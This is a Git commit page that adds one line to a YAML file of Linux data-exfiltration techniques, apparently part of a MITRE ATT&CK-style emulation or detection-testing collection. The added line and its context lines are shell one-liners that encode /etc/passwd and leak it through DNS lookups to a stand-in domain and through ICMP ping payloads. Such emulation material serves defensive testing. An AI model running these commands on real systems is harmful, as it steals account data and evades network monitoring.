Update exfiltration_linux_overaltprotocol.yml

muyenzo · Mar 23, 2018 · 4087440 · 4087440
1 parent e37bca8
commit 4087440
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/MITRE/Exfiltration/exfiltration_linux_overaltprotocol.yml b/MITRE/Exfiltration/exfiltration_linux_overaltprotocol.yml
@@ -19,6 +19,7 @@ meta:
     7: for line in `cat /etc/passwd `; do dig $line.fakedomain.local; done
     8: base64 /etc/passwd | xxd -ps -c 16 |while read i; do ping -c1 -s32 -p $i 127.0.0.1;done
     9: cat /etc/passwd | xxd -p -c 2 | xargs -n 1 -I '{}' ping -c 1 -t 1 -p '{}' 127.0.0.1 ; ping -c 1 -t 1 -s 55 127.0.0.1
+    10: for line in `gzip -c /etc/passwd | xxd -p -`; do dig $line.fakedomain.local @127.0.0.1;done
 os: linux
 name: Linux Data Exfiltration
 uuid: f784f31e-b6ff-4391-951c-dacabaff2782